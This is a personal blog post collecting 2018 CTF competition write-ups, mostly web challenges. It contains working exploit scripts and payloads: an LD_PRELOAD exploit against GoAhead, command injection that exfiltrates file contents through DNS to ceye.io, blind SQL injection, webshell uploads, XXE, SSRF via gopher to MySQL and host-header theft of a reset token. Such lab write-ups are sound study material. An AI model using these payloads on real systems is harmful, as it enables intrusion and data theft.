2018WriteUp 汇总

  32 mins to read  

我实在不想每场比赛都写一篇单独的博客,所以全部汇总到一起了

目录


2018安恒杯Web安全测试秋季资格赛

爱い窒息、痛

进入题目,是一个大马后门,审计代码:

<?php
    $a=isset($_POST['pass'])?trim($_POST['pass']):'';
    if($a==''){
        echologin();
    }else{
        chkpass($a);
        helloowner($a);
    }
    function chkpass($a){
        if(stripos($_SERVER['HTTP_USER_AGENT'],md5($a))===false){
            echofail(1);
        }
        return true;
    }
    function helloowner($a){
        $b=gencodeurl($a);
        $c=file_get_contents($b);
        if($c==false){
            echofail(2);
        }
        $d=@json_decode($c,1);
        if(!isset($d['f'])){
            echofail(3);
        }
        $d['f']($d['d']);
    }
    function gencodeurl($a){
        $e=md5(date("Y-m-d"));
        if(strlen($a)>40){
            $f=substr($a,30,5);
            $g=substr($a,10,10);
        }else{
            $f='good';
            $g='web.com';
        }
        $b='http://'.$f.$g;return $b;
    }
?>

传入一个字符串pass,其中有15位是我们可控的(ipv4最长情况3*4+3,如果有短点的域名也可以,假如ip不足15位,则在后面补/,一样可以正常解析,如:12.221.21.222//)。

pass的md5值与User-Agent相等时,服务器请求pass中的可控15字符,并将返回的json解析后执行$d['f']($d['d'])

故在服务器上部署代码,修改apacheindex:80指向它,这样就可以直接以ip访问:

<?php
$a = array("f" => "system", "d" => "/bin/cat ../flag.php");
echo json_encode($a);
?>

使用脚本访问:

import requests

url = "http://114.55.36.69:8020/upload/dama.php"
_data = {
    "pass": "0000000000xxxxxxx///0000000000xxxxx000000",  # xxxx为服务器ip
    "submit": "submit"
}
_headers = {
    "User-Agent": "d35452fe56acbbbf06c1d4db1968f9ba"
}
r = requests.post(url, data=_data, headers=_headers)
print(r.text)

获得Flag


GOGOGO

进去查看相应头Server: GoAhead-http,查找资料,这个cgi存在代码执行漏洞

网上的POC大多为反弹shell,这道题由于服务器配置问题无法实现,有题干知flagcgi-bin/hello.cgi中,故只需要执行代码读取cgi文件即可

Linux中编写如下代码(我开始想复杂了,还想调用popen执行cat读取,只需要fread就可以了):

//poc.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void){	
	FILE* fp = fopen("cgi-bin/hello.cgi", "r");
	char buf[2048];
	fread(buf, sizeof(buf), 1, fp);
	write(1, buf, sizeof(buf));
}

执行指令编译动态库并发送payload

gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt

读取1.txt获得flag


ping也能把你ping挂

进入题目执行ping指令:

127.0.0.1&ls

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.039 ms
config.php
contain.html
css
img
index.php
js
ping.php
upload
you_find_upload.php
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.039/0.041/0.043/0.002 ms

进入文件you_find_upload.php,可上传图片,此处有解析漏洞,上传.php.jpg后缀文件(原本以为是.php;.jpg解析漏洞,这里坑了好久),分析源码后暴力猜解随机数即可,使用别人的phppayload

<?php
set_time_limit(0);
$url = 'http://114.55.36.69:6664/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
    echo "No.".$index;
    echo "<br>";
    mt_srand($index);
    mt_rand();
    $random_pre = mt_rand();
    $filename = $random_pre.'_404.php.jpg';
    $cur_url = $url.$filename;
    if(curl_get($cur_url)){
        $result = $result.$filename.'--';
        exit;
    }
    $index++;
}
if($index == 1001){
    echo "no result!";
}
     
function curl_get($tmp_url){
    $ch=curl_init();
    curl_setopt($ch,CURLOPT_URL,$tmp_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch,CURLOPT_HEADER,1);
    $result=curl_exec($ch);
    $code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
    if($code=='404' && $result){
        curl_close($ch);
        return 0;
    } else {
        curl_close($ch);
        echo $code;
        echo "<br>";
        echo "#####got one!===>>>".$tmp_url;
        echo "<br>";
        return 1;
    }
}

猜解成功后菜刀连接,得到flag


ping

进入后查看robots.txt,获得源码,以及where_is_flag.php

<?php 
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping  ".$ip);
?>

知需要使用ping读取文件where_is_flag.php,这里使用一个开源项目搭建的平台CEYE,原理是访问一个域名的下属子域名时,dns解析会有记录。在linux中可以使用飘号包裹命令,如:ping 'echo 111'.xxx.com'代表飘号,Markdown中写不出来)。或可以使用ping http://xxxxx/'whoami',解析主机的访问记录

但是这里由于换行符的干扰无法直接读取文件,故使用bash的循环:

ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;

得到$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php",同样的方法读取,得到flag


进击的盲注

这题过滤了括号和斜杠,看了网上的思路知道使用order by注入,且需使用binary区分大小写

盲注脚本:

import requests

url = "http://114.55.36.69:6663/index.php"
flag = ""
while True:
    for i in range(48, 127):
        _data = {
            'username': f"admin' union select 1, 2, binary '{flag+chr(i)}' order by 3#",
            "password": "aaa"
        }
        r = requests.post(url, data=_data)
        #print(_data["username"])
        if "password error!" in r.text:
            flag += chr(i-1)
            print(flag)
            break

output:

λ python3 blind.py       
d                        
dV                       
dVA                      
dVAx                     
dVAxM                    
dVAxME                   
dVAxMEB                  
dVAxMEBk                 
dVAxMEBkX                
dVAxMEBkX2               
dVAxMEBkX25              
dVAxMEBkX25F             
dVAxMEBkX25Fd            
dVAxMEBkX25Fdy           
dVAxMEBkX25Fdy5          
dVAxMEBkX25Fdy5w         
dVAxMEBkX25Fdy5wa        
dVAxMEBkX25Fdy5waH       
dVAxMEBkX25Fdy5waHA      
dVAxMEBkX25Fdy5waHA=     
dVAxMEBkX25Fdy5waHA=/    
dVAxMEBkX25Fdy5waHA=//   
dVAxMEBkX25Fdy5waHA=///  
dVAxMEBkX25Fdy5waHA=//// 
dVAxMEBkX25Fdy5waHA=/////

解码得uP10@d_nEw.php,是一个文件上传,同上一道题,.php.jpg解析错误,传马后菜刀连接得flag


奇怪的恐龙特性

我觉得不止恐龙奇怪,PHP和出题人都挺奇怪的。

 <?php
highlight_file(__FILE__);
ini_set("display_error", false); 
error_reporting(0); 
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
    echo 'A_A,have fun';
}
elseif ($str<9999999999) {
    echo 'A_A,too small';
}
elseif ((string)$str>0) {
    echo 'A_A,too big';
}
else{
    echo file_get_contents('flag.php');
    
}

 ?> 

代码审计,需要绕过

传入A.A,后台php会自动转为A_A。而且php里数组与其余对象比较总是很奇怪,payload为A.A[]=1,我觉得php和js这种莫名其妙的逻辑简直是魔鬼

出题人也很奇怪,flag出来了但注释掉了,需要查看源码


中国科学技术大学第五届信息安全大赛Hackergame 2018

这个比赛对Web狗很不友好啊,几乎都是Misc, Crypto,还有几道Reverse和Pwn

签到题/猫咪问答/游园会的集章

纯娱乐,略

猫咪和键盘

发现是一个cpp代码,但顺序被打乱了,每一行都是同样的打乱方法,观察后用脚本还原

with open("typed_printf.cpp", "r") as fp:
    fp_format = open("typed_format.cpp", "w")
    for i in fp.readlines():
        i = i.strip("\n")
        i = i[0] + i[32:39] + i[1:7] + i[20:22] + i[8:11] + i[11:20] + i[22:32] + i[39:]
        fp_format.write(i+"\n")
    fp_format.close()

Linuxg++ -std=c++17编译即可

Word文档

文档可以直接解压,获得Flag

猫咪银行

整数溢出,当时间溢出为负数时可直接取钱

payload:存入时间=555555555555555555

黑曜石浏览器

这次比赛创造的梗,主办方特意买了域名做了网站,还做了禁止百度收录,还弄了很高的SEO权重

首先题目要求使用黑曜石浏览器访问,故我们需要找到黑曜石的UA,搜索后找到黑曜石官网,查看源代码,发现前端验证代码里的UA字串,更改UA访问获得Flag

回到过去

Linux下装一个古董编辑器ed,按题目命令尝试,最后字符串为t4a2b8c44039f93345a3d9b2

我是谁

查看Http响应,发现418状态码,搜索知协议标准规定当向一个茶壶发送Http请求时需要返回418状态码,故回答它I am a teepot

第二关,查找RFC文档,按照文档要求更改请求方法和部分请求头,请求报文为

BREW /the_super_great_hidden_url_for_brewing_tea/black_tea HTTP/1.1
Host: 202.38.95.46:12005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Accept-Additions: milk-type; Sugar
Content-Type: message/teapot

猫咪遥控器

按照txt中的上下左右绘制轨迹,脚本写的比较丑…

import turtle

turtle.screensize(1600, 1600, "white")
turtle.setup(width=0.75, height=0.75, startx=None, starty=None)
turtle.pensize(2)
turtle.pencolor("black")
turtle.speed(100)
temp = 'D'
def move(a):
    global temp
    if a == 'D':
        if temp == 'D':
            pass
        elif temp == 'U':
            turtle.right(180)
        elif temp == 'L':
            turtle.right(90)
        elif temp == 'R':
            turtle.left(90)
        temp = 'D'
    elif a == 'U':
        if temp == 'U':
            pass
        elif temp == 'D':
            turtle.right(180)
        elif temp == 'R':
            turtle.right(90)
        elif temp == 'L':
            turtle.left(90)
        temp = 'U'
    elif a == 'L':
        if temp == 'L':
            pass
        elif temp == 'R':
            turtle.right(180)
        elif temp == 'U':
            turtle.right(90)
        elif temp == 'D':
            turtle.left(90)
        temp = 'L'
    elif a == 'R':
        if temp == 'R':
            pass
        elif temp == 'L':
            turtle.right(180)
        elif temp == 'D':
            turtle.right(90)
        elif temp == 'U':
            turtle.left(90)
        temp = 'R'
    else:
        return
    turtle.forward(1)
with open("seq.txt", "r") as fp:
    cl = {'U': 'R', 'L': 'U', 'R': 'D', 'D': 'L', '\n': '\n'}
    for i in fp.read():
        move(cl[i])
    turtle.get_poly()

猫咪克星

脚本连续运算100次后即可获得Flag,中间会有__import('time')__.sleep(100)等干扰项,需过滤

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('202.38.95.46', 12009))
temp = s.recv(512).decode("utf-8")
with open("result.txt", "w") as fp:
    while 1:
        temp = s.recv(512).decode("utf-8").strip("\n")
        print(temp)
        temp = temp.replace("exit()", "0")
        temp = temp.replace("__import__('os').system('find ~')", "0")
        temp = temp.replace("__import__('time').sleep(100)", "0")
        print(temp)
        fp.write(temp+"\n")
        ans = str(eval(temp))
        print(ans)
        s.send((ans+"\n").encode("utf-8"))


2018领航杯第三届江苏省青少年网络信息安全竞赛预赛

Dict_Create

题目给了几个小明信息,需要爆破zip文件密码,由信息生成字典:

import random

key_word = ["xiaoming", "178", "65", "22", "18888888888", "133562477", "painting"]
brute_dic = set()
for i in range(100):
	temp = random.choice(key_word)+"_"+random.choice(key_word)
	brute_dic.add(temp)
with open("dic.txt", "w") as fp:
	for i in brute_dic:
		fp.write(i+"\n")

然后用脚本爆破


Chinese_Dream

根据社会主义核心价值观的24字的index,生成对应的整数序列,然后将整数序列当做Hex字符串得到flag

a = ["富强", "民主", "文明", "和谐", "自由", "平等", "公正", "法治", "爱国", "敬业", "诚信", "友善"]
b = "公正公正公正诚信文明公正民主公正法治法治诚信民主和谐平等和谐敬业和谐富强和谐法治和谐法治和谐富强公正自由公正平等和谐文明公正公正公正自由和谐敬业公正公正公正和谐和谐平等和谐平等公正文明公正和谐公正公正和谐和谐和谐公正和谐民主和谐和谐和谐文明和谐富强和谐敬业和谐敬业公正平等和谐平等和谐和谐公正公正和谐自由法治友善法治" 
res = ""
for i in range(0, len(b), 2):
    temp = b[i: i+2]
    res += str(a.index(temp))
print(res)
pl = ""
for i in range(0, len(res), 2):
    temp = res[i: i+2]
    temp = chr(int(temp, 16))
    pl += temp
print(pl)


XOR

base64解码以ascii 0~128异或,查找flag

a = "'7=06*e4e5g2bbc3g74gc0gb074dg`f`75bfcd,'"
tmp = ""
for i in range(128):
    for j in a:
        tmp += chr(i^ord(j))
    if "flag" in tmp:
        print(tmp)
        break
    tmp = ""


PYC

在线工具反编译pyc文件后,发现为rc4加密,后用网上找的解密脚本(主办方也是从网上抄的,改了改变量名,改了改无关紧要的语句,还改错了a, b = b, a改成a = b; b = a

import random, base64
from hashlib import sha1
 
def crypt(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
 
    return ''.join(out)
 
def tencode(data, key, encode=base64.b64encode, salt_length=16):
    salt = ''
    for n in range(salt_length):
        salt += chr(random.randrange(256))
    data = salt + crypt(data, sha1(key + salt).digest())
    if encode:
        data = encode(data)
    return data
 
def tdecode(data, key, decode=base64.b64decode, salt_length=16):
    if decode:
        data = decode(data)
    salt = data[:salt_length]
    return crypt(data[salt_length:], sha1(key + salt).digest())
 
if __name__=='__main__':
    encoded_data = "nKgI13JDX8qpFyUcvsnZqyKxb8Zfv9jCnrWul2knc8ZzhlfDpPxZmA=="
    for i in range(1000, 10000):
        key = str(i)
        decoded_data = tdecode(data=encoded_data, key=key)
        if "flag" in decoded_data:
            print decoded_data
            break


Mamamama

写脚本一直解压ZIP文件,最后一层解压出一个txt,用在线词频分析工具,获得flag


import zipfile

ptr = 1
while 1:
    try:
        tmp = zipfile.ZipFile(str(ptr)+".zip")
        fp = open(str(ptr+1)+".zip", "wb")
        fp.write(tmp.read(tmp.namelist()[0]))
        fp.close()
        ptr += 1
    except:
        break


2018安恒杯WEB安全测试秋季预选赛

第一题

忘记是啥题了,略

easy_MD5

数组绕过

MD5

参考这篇文章,传入两个编码文件

注入

sqlmap跑一下就出来了

传个flag

送分题,略

贪吃蛇

查看源码,有个JS颜表情,运行后出了个假flag,读了游戏源码,发现没有判断,没有请求,猜想一定和颜表情有关,于是查看DOM发现颜表情编码除了console.log了假flag还给DOM属性赋值了真flag

小站

结束才做出来,还是经验太少,比赛时发现有XSS但没啥用,而且一开始就想当然把文件上传pass了。首先查看robots.txt,发现flag.php,但echo的是假flag,后查看/controller/Cotroller.php,查看备份Cotroller.php~,发现文件上传判断逻辑仅仅是post的filetypeimage/jpeg绕过后连接webshell,菜刀无法连接,直接post命令执行system("cat /var/www/html/flag.php"),查看源码,得到flag

sleepCMS

基于时间盲注,过滤了preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join|select)/i", $_GET['id']),搜索新式时间盲注,使用get_lock函数,但select被过滤暂时没有找到绕过方法。运行前先用浏览器加锁,后运行脚本注入

import requests

ac = "database()"  # locksql
# ac = "select table_name from information_schema.tables where table_schema='locksql'"
result = ""
# requests.get("http://114.55.36.69:8007/article.php?id=2' and get_lock('111',5)--+")
for i in range(1, 21):
	for j in range(32, 127):
		try:
			url = "http://114.55.36.69:8007/article.php?id=2' and if(mid(({}),{},1)='{}',get_lock('ac',5),1)--+".format(ac, i, chr(j))
			r = requests.get(url, timeout=5)
		except:
			result += chr(j)
			break
	print(result)


2018安恒杯江苏赛区省赛

常规操作

利用php伪协议读出源码?url=php://filter/read=convert.base64-encode/resource=upload

<?php
    header( 'Content-Type:text/html;charset=utf-8 ');
    $url = "";
    if(empty($_REQUEST["url"])){
        //require("news.php");
        exit;
    }
    else {
        $url = preg_replace('/%+/', "", $_REQUEST["url"]);
        require($url . ".php");

    }
//url=zip://C:\wamp\www/1.zip#1
?>

送分的MD5

预选赛原题

!!A_A

资格赛原题

简单文件上传

这个题上传图马是不能解析的。经尝试,文件过滤为文件内容而不是文件后缀表单属性之类的。故添加Webshell前缀为GIF 98a,上传后发现.php被转化为.ain,尝试后发现双写后缀即可绕过,后菜刀连接

新的新闻搜索

预选赛原题,服务器IP端口都没变,Sqlmap直接读了session返回给我上一次的flag,fo了

不一样的上传系统

代码审计,资格赛原题,但网上没人做出来。需上传ZIP文件,后台自动解压,过滤ph,故后缀为.pHp.jpg绕过,压缩为ZIP上传,菜刀连接

秘密的系统

访问robots.txt,发现登录页面,查看源码发现hint,查看执念于心的Github仓库

/**
1.you can use test/cib_sec to login ,but you are not admin!
2.only admin can upload file ,but whichone can not bypass my rules.

$sign = array(
                    'id'=>$model->id,
                    'name'=>$model->username,
                    'sign'=>md5($model->id.$model->username),
                );
$_COOKIE['cib'] = serialize($sign);
**/

以游客账号登录进去,然后序列化sign对象伪造admin cookie,payload cookie为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";},获得管理员权限后上传文件,简单绕过后上传成功,菜刀连接


2018安洵杯

智利-签到题

群论里的求幺元,反正幺元 == random.choice([‘a’, ‘b’, ‘c’, ‘d’]),挨个md5提交

格陵兰-Web1-无限手套

进去提示Parameter NOHO:The Number Of Higher Organisms,传入NOHO参数,数组绕过,?NOHO[]=1,后 见到一个登录框

灭霸,请记好你的password,post值后回显SQL语句<!--SELECT master FROM secret WHERE password = binary ' �u���1Ù�iw&a'-->,显而易见是password的md5hex字符串,所以构造一个md5值中带'or'的,即可绕过

payload: ffifdyop

德国-方舟计划

几乎和安恒国赛黑市那题一样,当时看到了前端代码但竟然忘了JS弱类型比较。这里传七个数字去后端,然后与随机生成的七个数字比较,相同则加金币,{"action":"buy","numbers":"1234567"},因为JsonJS的数据类型,所以直接嵌入数组(字符串也是数组),{"action":"buy","numbers":[true,true,true,true,true,true,true]},弱类型绕过很快就能买Flag了,接着Flag需要解一到RSA,知p, q, e, 求d,写脚本得到Flag

波士尼亚与赫塞哥维纳-Double-S

这一题是Jarvis OJ上的原题,叫PHPinfo,是关于Session上传文件的,我讨厌PHP,所以关于它语法的题一律不深究,具体步骤见别人写的WriteUP,最终payload:

filename="|O:4:\"Anti\":1:{s:4:\"info\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"

Array
(
    [0] => .
    [1] => ..
    [2] => .user.ini
    [3] => 1.txt
    [4] => 404.html
    [5] => f1ag_i3_h3re
    [6] => gan.php
    [7] => gan1.php
    [8] => gansss.php
    [9] => index.html
    [10] => session.php
    [11] => www.zip
)

filename="|O:4:\"Anti\":1:{s:4:\"info\";s:65:\"print_r(file_get_contents(\"/home/wwwroot/default/f1ag_i3_h3re\"));\";}"

马利-Magic-Mirror

题目给了hint,是Host Header在找回密码中的欺骗,所以按hint的思路,请求找回密码的时候,将http请求头的Host改为自己服务器域名,然后用户名为admin,接着即可在自己服务器的web日志里找到重置密码的Token:

222.18.158.227 - - [25/Nov/2018:15:40:35 +0800] "GET /resetpassword.php?sign=e3febf04b379e9a89d6d394484c56e9a HTTP/1.1" 404 480 "http://s.nemesisly.xyz/func/getpasscheck.php" "-"

然后利用token重置密码,以admin登录后问d0g3里谁最帅,抓包发现是xxe攻击,读取flag.php获得flag

<?xml version="1.0" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<information>
<username>&b;</username>
</information>

蒙古-Diglett

进去后是一个ssrf,过滤了file,双写绕过即可,需要本地,添加localhost读文件:fifilele://localhost/etc/passwd

见这篇文章

然后读源码config.php获得mysql数据库的用户名库名表名:test_user, test, secret。接着使用gopher协议查询数据库,网上的脚本查询会提示No database name xxx,无论怎样都无法正常回显数据,所以只好自己wireshark抓包后代入协议查询:

create user 'test_user'@'localhost';
GRANT ALL ON *.* TO 'test_user'@'localhost';

命令行mysql -h 127.0.0.1 -u test_user -e "select secret from test.flag"

wireshark数据包:

00000000  b3 00 00 01 85 a2 3f 00  00 00 00 01 2d 00 00 00   ......?. ....-...
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
00000020  00 00 00 00 74 65 73 74  5f 75 73 65 72 00 00 6d   ....test _user..m
00000030  79 73 71 6c 5f 6e 61 74  69 76 65 5f 70 61 73 73   ysql_nat ive_pass
00000040  77 6f 72 64 00 71 03 5f  6f 73 10 64 65 62 69 61   word.q._ os.debia
00000050  6e 2d 6c 69 6e 75 78 2d  67 6e 75 0c 5f 63 6c 69   n-linux- gnu._cli
00000060  65 6e 74 5f 6e 61 6d 65  08 6c 69 62 6d 79 73 71   ent_name .libmysq
00000070  6c 04 5f 70 69 64 04 32  38 36 36 0f 5f 63 6c 69   l._pid.2 866._cli
00000080  65 6e 74 5f 76 65 72 73  69 6f 6e 07 31 30 2e 31   ent_vers ion.10.1
00000090  2e 32 39 09 5f 70 6c 61  74 66 6f 72 6d 06 78 38   .29._pla tform.x8
000000A0  36 5f 36 34 0c 70 72 6f  67 72 61 6d 5f 6e 61 6d   6_64.pro gram_nam
000000B0  65 05 6d 79 73 71 6c                               e.mysql
000000B7  21 00 00 00 03 73 65 6c  65 63 74 20 40 40 76 65   !....sel ect @@ve
000000C7  72 73 69 6f 6e 5f 63 6f  6d 6d 65 6e 74 20 6c 69   rsion_co mment li
000000D7  6d 69 74 20 31                                     mit 1
000000DC  1d 00 00 00 03 73 65 6c  65 63 74 20 73 65 63 72   .....sel ect secr
000000EC  65 74 20 66 72 6f 6d 20  74 65 73 74 2e 66 6c 61   et from  test.fla
000000FC  67                                                 g
000000FD  01 00 00 00 01                                     .....

hex复制下来后转为URL encode

>>> a = "b300000185a23f00000000012d0000000000000000000000000000000000000000000000746573745f7573657200006d7973716c5f6e61746976655f70617373776f72640071035f6f731064656269616e2d6c696e75782d676e750c5f636c69656e745f6e616d65086c69626d7973716c045f70696404323836360f5f636c69656e745f76657273696f6e0731302e312e3239095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c 210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031 1d0000000373656c656374207365637265742066726f6d20746573742e666c6167 0100000001"
>>> a = a.replace(" ", "")
>>> a = [a[i: i+2] for i in range(0, len(a), 2)]
>>> '%'.join(a)
'b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01'

最终payload:

gopher://localhost:3306/_%b3%00%00%01%85%a2%3f%00%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%32%38%36%36%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%1d%00%00%00%03%73%65%6c%65%63%74%20%73%65%63%72%65%74%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

回显:

N 5.6.40-logw�D@Uj6k<)��-�TLa#(=:LO's1mysql_native_password'def@@version_comment-L��Source distribution�.deftestflagflagsecretsecret-���"'&D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}�" 

SWPUCTF

前几天的SWPUCTF,是学长推荐做的,Web题目共五道,质量确实很高,但因为得准备这周三培训和周五讲课的PPT,赛中只做了两道,然后其余题卡住后也没继续研究,就准备赛后看大佬们WriteUP了 (菜的流泪

今天复现了一下题目,学到了不少,觉得很有必要记录一下


用优惠码,买个X

进入题目,是让你买个ipone X,注册账号并登录,送了一个优惠码

存在源码泄露,查看source.php,会看到优惠码生成的部分,以及待会第二个需要绕过的部分,这里先说第一个

它产生了一个随机数作伪随机数生成器的种子,所以我们可以通过爆破种子来预测优惠码生成序列,使用C语言工具php_mt_seed,读它的README,获悉该如何传入参数,写脚本生成参数:

pad = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
q = "D1KlD56y4CIccwl" # your code
s = []

for i in q[:8]:
    s.append(pad.index(i))
for i in q[8:]:
    s.append(62-pad.index(i))

for p in s:
    print(str(p)+" "+str(p)+" 0 61  ", end="")

将生成的参数传入php_mt_seed,大概几十秒后能找到一个使用于php 7.2.x的种子(这里低于该版本的解释器生成的随机数序列是不同的,题目是7.2.x),接着将爆破的种子传入EXP脚本:

<?php
$seed = 79978765;
mt_srand($seed);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len=24;
for ($c=0; $c<2; $c++){
    $auth='';
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
            $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
            $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    echo $auth."\n";
}

这里需要按题目意思生成24为优惠码,将生成的优惠码填入,发起请求,提示购买成功,进入第二个页面,需要绕过一个正则:

if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
    if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
        //执行命令
    }else {
        //flag字段和某些字符被过滤!
    }
}else{
    // 你的输入不正确!
}

开始我以为是正则回溯绕过,之后才发现这里是if (true)进入分支。这里由于正则标志位m的存在,不同行间有一个匹配上就成功,所以%0a截断后传入more /[f]lag即可


Injection?

先看到hint,说不是sql注入……难道nosql(not only sql)不算sql吗。我直接钻进死路想着是不是跟PHP Session注入啥的有关系,然后就在PHPinfo页面找session想关

MongoDB我原来开发用它做过后端数据库,也学习过它的注入,可见原来的博文

这个题passwd[$regex]=^xxx,和SQL一样的正则注入即可,但是它有验证码,我一直以来对待验证码都是半自动手工识别(原来写爬虫被tesseract的端到端识别率伤害过…),用opencv库的waitKey函数来连续打码,脚本如下(没有写验证码错误的处理逻辑):

import requests
import cv2

url = "http://123.206.213.66:45678/index.php"
c_url = "http://123.206.213.66:45678/vertify.php"
l_url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^{0}&vertify={1}"

s = requests.Session()
s.get(url)
flag = ""

for i in range(10):
    for j in "abcd....xyz":
        with open("captcha.png", "wb") as fp:
            r = s.get(c_url)
            fp.write(r.content)
        img = cv2.imread("captcha.png")
        cv2.imshow("a", img)
        captcha = ""
        if cv2.waitKey(0) == 32:
            cv2.destroyAllWindows()
            captcha = input("captcha: ")
        r = s.get(l_url.format(flag+j, captcha))
        print(r.text)
        if "incorrect" not in r.text:
            flag += j
            break
    print(flag)



皇家线上赌场

这道题真是让我涨姿势

有一个文件读取接口,但它会在传入的参数前join一个路径,我赛中一直想怎么绕过对..的过滤,而我真的不知道传入绝对路径时os.path.join方法会不拼接路径

再有就是我没想到hint里的路径和真实路径不同,感觉这就是专门用来误导的,而我确实不知道/proc目录查看真实路径的姿势,所以赛中真的懵了,膜ak web的大佬,看来开发和安全需要的知识差别还是不小

所以这里通过/static?file=/proc/self/cwd/app/__init__.py读到密钥,然后读视图文件的代码,先是用github的脚本伪造客户端Session(我最开始使用脚本伪造的session一直有问题,后来发现是我的itsdangerous库只有0.2.3版本一直没更新,而现在都是1.x了),从而获得admin身份和1e10+的钱

然后就是一个通过实例、类、它们的方法、全局命名空间的变量跳转访问了(因为这个题限制了函数调用):

这里我们可以传入g.u.{},来访问g.u的成员,g变量是flask四种全局变量之一,它一般是用来保存请求的全局临时变量,各请求间的值是独立的,它处于current_app同一个全局空间下,所以这里我们先获取__globals__,但只有函数有这个魔术变量(知道它里面有__doc__这种成员变量就很好理解了),所以按题目hint,先访问当前请求用户g.usave方法:

查看当前全局变量:
save.__globals__

访问SQLAlchemy实例engine
[db]

再次查看全局
.__init__.__globals__

访问current_app
[current_app]

访问与g变量关联的函数before_request/after_request
.after_request.__globals__

查看g对象所有成员变量
[g].__dict__

完整payload:

field=save.__globals__[db].__init__.__globals__[current_app].before_request.__globals__[g].__dict__


Simple PHP

